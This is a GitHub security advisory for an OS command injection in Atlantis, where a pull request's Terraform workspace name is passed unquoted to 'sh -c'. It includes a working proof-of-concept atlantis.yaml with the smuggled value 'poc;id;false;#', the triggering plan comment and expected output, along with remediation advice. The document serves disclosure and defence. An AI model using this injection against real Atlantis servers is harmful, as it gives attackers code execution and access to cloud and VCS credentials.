GHSA-RJH2-4XGW-P2HJ
Vulnerability from github – Published: 2026-10-27 21:04 – Updated: 2026-10-27 21:04Summary
Atlantis passes the Terraform workspace value from a pull request's atlantis.yaml into a shell command without quoting or escaping it.
A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, allow_custom_workflows, or permission to run terraform apply.
The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.
Details
Verified against current upstream/main commit 92ce5c51d1a050357e44df3535483425e59fa984 on August 13, 2026.
The vulnerable data flow is:
- The PR-controlled project workspace is validated in
server/core/config/raw/project.go.
Validation rejects only .., /, and \. Shell metacharacters such as ;, #, $, redirections, and whitespace remain permitted.
- The workspace is passed directly as a Terraform command argument in
server/core/runtime/workspace_step_runner_delegate.go:
go
[]string{workspaceCmd, "select", ctx.Workspace}
- Terraform arguments are concatenated into a single string using
strings.Join(args, " ")inserver/core/terraform/tfclient/terraform_client.go:
go
tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
- The resulting string is executed through
sh -cinserver/core/terraform/tfclient/terraform_client.go:
go
cmd := exec.Command("sh", "-c", tfCmd)
Consequently, a workspace such as:
poc;id;false;#
produces commands equivalent to:
terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#
raw.Project.Validate() was confirmed to return no error for this workspace value.
Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.
The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.
PoC
Only reproduce this against a disposable Atlantis instance and test repository.
Preconditions
- Atlantis processes
atlantis.yamlfrom the pull request branch. - The pull request is eligible to run
atlantis plan. - For a fork pull request, the server must have
--allow-fork-prsenabled. A same-repository branch does not require this flag. - No custom workflows or apply permissions are required.
Repository contents
Create main.tf:
terraform {
required_version = ">= 1.0"
}
Create atlantis.yaml:
version: 3
projects:
- name: workspace-rce-poc
dir: .
workspace: "poc;id;false;#"
autoplan:
enabled: false
Open a pull request containing these files and comment:
atlantis plan -p workspace-rce-poc
Expected result
Atlantis first runs terraform workspace select. The injected false causes that command invocation to return an error, so Atlantis retries using terraform workspace new.
On both attempts, the shell executes id as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:
uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)
This demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.
The payload uses only id and false and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable poc workspace.
Impact
This is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.
Affected deployments are those that:
- Process pull-request-controlled
atlantis.yamlproject configuration; and - Permit the attacker-controlled pull request to trigger an Atlantis plan.
Potential consequences include:
- Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.
- Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.
- Modifying files or binaries accessible to the service account.
- Making network requests using the Atlantis server's network identity.
- Pivoting into infrastructure accessible through the server's credentials or network placement.
For public repositories, arbitrary external contributors are directly exposed when --allow-fork-prs is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.47.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/runatlantis/atlantis"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.47.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116676"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T21:04:50Z",
"nvd_published_at": "2026-10-27T18:17:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAtlantis passes the Terraform `workspace` value from a pull request\u0027s `atlantis.yaml` into a shell command without quoting or escaping it.\n\nA contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, `allow_custom_workflows`, or permission to run `terraform apply`.\n\nThe executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.\n\n### Details\n\nVerified against current `upstream/main` commit `92ce5c51d1a050357e44df3535483425e59fa984` on August 13, 2026.\n\nThe vulnerable data flow is:\n\n1. The PR-controlled project workspace is validated in [`server/core/config/raw/project.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#L139-L149).\n\n Validation rejects only `..`, `/`, and `\\`. Shell metacharacters such as `;`, `#`, `$`, redirections, and whitespace remain permitted.\n\n2. The workspace is passed directly as a Terraform command argument in [`server/core/runtime/workspace_step_runner_delegate.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#L86-L96):\n\n ```go\n []string{workspaceCmd, \"select\", ctx.Workspace}\n ```\n\n3. Terraform arguments are concatenated into a single string using `strings.Join(args, \" \")` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L451-L468):\n\n ```go\n tfCmd := fmt.Sprintf(\"%s %s\", binPath, strings.Join(args, \" \"))\n ```\n\n4. The resulting string is executed through `sh -c` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L416-L427):\n\n ```go\n cmd := exec.Command(\"sh\", \"-c\", tfCmd)\n ```\n\nConsequently, a workspace such as:\n\n```text\npoc;id;false;#\n```\n\nproduces commands equivalent to:\n\n```sh\nterraform workspace select poc;id;false;#\nterraform workspace new poc;id;false;#\n```\n\n`raw.Project.Validate()` was confirmed to return no error for this workspace value.\n\nAtlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit `allow_custom_workflows` control and requiring no malicious provider, external data source, custom workflow, or apply operation.\n\nThe primary remediation should be to execute Terraform using an argument vector rather than constructing shell source\u2014for example, `exec.Command(binaryPath, args...)`. Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.\n\n### PoC\n\nOnly reproduce this against a disposable Atlantis instance and test repository.\n\n#### Preconditions\n\n- Atlantis processes `atlantis.yaml` from the pull request branch.\n- The pull request is eligible to run `atlantis plan`.\n- For a fork pull request, the server must have `--allow-fork-prs` enabled. A same-repository branch does not require this flag.\n- No custom workflows or apply permissions are required.\n\n#### Repository contents\n\nCreate `main.tf`:\n\n```hcl\nterraform {\n required_version = \"\u003e= 1.0\"\n}\n```\n\nCreate `atlantis.yaml`:\n\n```yaml\nversion: 3\nprojects:\n - name: workspace-rce-poc\n dir: .\n workspace: \"poc;id;false;#\"\n autoplan:\n enabled: false\n```\n\nOpen a pull request containing these files and comment:\n\n```text\natlantis plan -p workspace-rce-poc\n```\n\n#### Expected result\n\nAtlantis first runs `terraform workspace select`. The injected `false` causes that command invocation to return an error, so Atlantis retries using `terraform workspace new`.\n\nOn both attempts, the shell executes `id` as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:\n\n```text\nuid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)\n```\n\nThis demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.\n\nThe payload uses only `id` and `false` and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable `poc` workspace.\n\n### Impact\n\nThis is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.\n\nAffected deployments are those that:\n\n- Process pull-request-controlled `atlantis.yaml` project configuration; and\n- Permit the attacker-controlled pull request to trigger an Atlantis plan.\n\nPotential consequences include:\n\n- Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.\n- Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.\n- Modifying files or binaries accessible to the service account.\n- Making network requests using the Atlantis server\u0027s network identity.\n- Pivoting into infrastructure accessible through the server\u0027s credentials or network placement.\n\nFor public repositories, arbitrary external contributors are directly exposed when `--allow-fork-prs` is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.",
"id": "GHSA-rjh2-4xgw-p2hj",
"modified": "2026-10-27T21:04:50Z",
"published": "2026-10-27T21:04:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116676"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/pull/6792"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8"
},
{
"type": "PACKAGE",
"url": "https://github.com/runatlantis/atlantis"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/releases/tag/v0.47.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.